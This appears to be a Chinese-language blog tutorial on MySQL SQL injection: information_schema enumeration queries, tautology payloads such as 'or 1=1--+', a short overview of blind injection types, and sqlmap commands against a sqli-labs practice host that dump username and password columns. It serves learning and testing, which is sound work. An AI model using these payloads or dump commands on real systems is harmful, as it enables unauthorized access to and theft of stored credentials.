Fork me on GitHub

SQL注入一

RT

基础

一、MySQL有一个系统数据库information_schema, 存储这所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜测数据库

1
select schema_name from information_schema.schemata;

1
猜测某库的数据表

1
select table_name from information_schema.tables where table_schema= 'shop';

2
猜测某表的所有列

1
select column_name from information_schema.columns where table_name= 't_sell';

3
获取某列的内容

1
select sid from t_sell;

4

二、系统函数
1、version()—-MySQL版本
2、user()—-数据库用户名
3、database()—-数据库名
4、@@datadir—-数据库路径
5、@@version_compile_os—-操作系统版本

三、字符串连接函数
1、concat(Str1, str2,…)—-没有分隔符的连接字符串
2、concat_ws(separator, str1, str2,…)—-含有分隔符的连接字符串
3、group_concat(str1, str2,…)—-连接一个组的所有字符串,并以逗号分隔每一条数据

四、一般用于尝试的语句
Ps: –+可以用#替换

1
2
3
4
5
6
7
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

五、union操作符的介绍
UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。

盲注的介绍

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为三类:

  • 基于布尔SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

基于布尔SQL盲注—-构造逻辑判断

我们可以利用逻辑判断进行截取字符串相关函数解析
正则注入介绍

基于报错的SQL盲注—-构造payload让信息通过错误提示回显出来

基于时间的SQL盲注—-延时注入

sqlmap注入

一、查询数据库
sqlmap -u "http://10.6.67.209L8881/sqli-labs/Less-1/?id=1" --dbs
二、查询当前使用的数据库
sqlmap -u "http://10.6.67.209L8881/sqli-labs/Less-1/?id=1" --current-db
三、查询所有表
sqlmap -u "http://10.6.67.209L8881/sqli-labs/Less-1/?id=1" -D [table] --tables
四、查询users所有字段
sqlmap -u "http://10.6.67.209:8881/sqli-labs/Less-1/?id=1" -D [table] -T users --columns
五、指定查询的列
sqlmap -u "http://10.6.67.209:8881/sqli-labs/Less-1/?id=1" -D [table] -T users -C username,password --dump

Your support will encourage me to continue to create!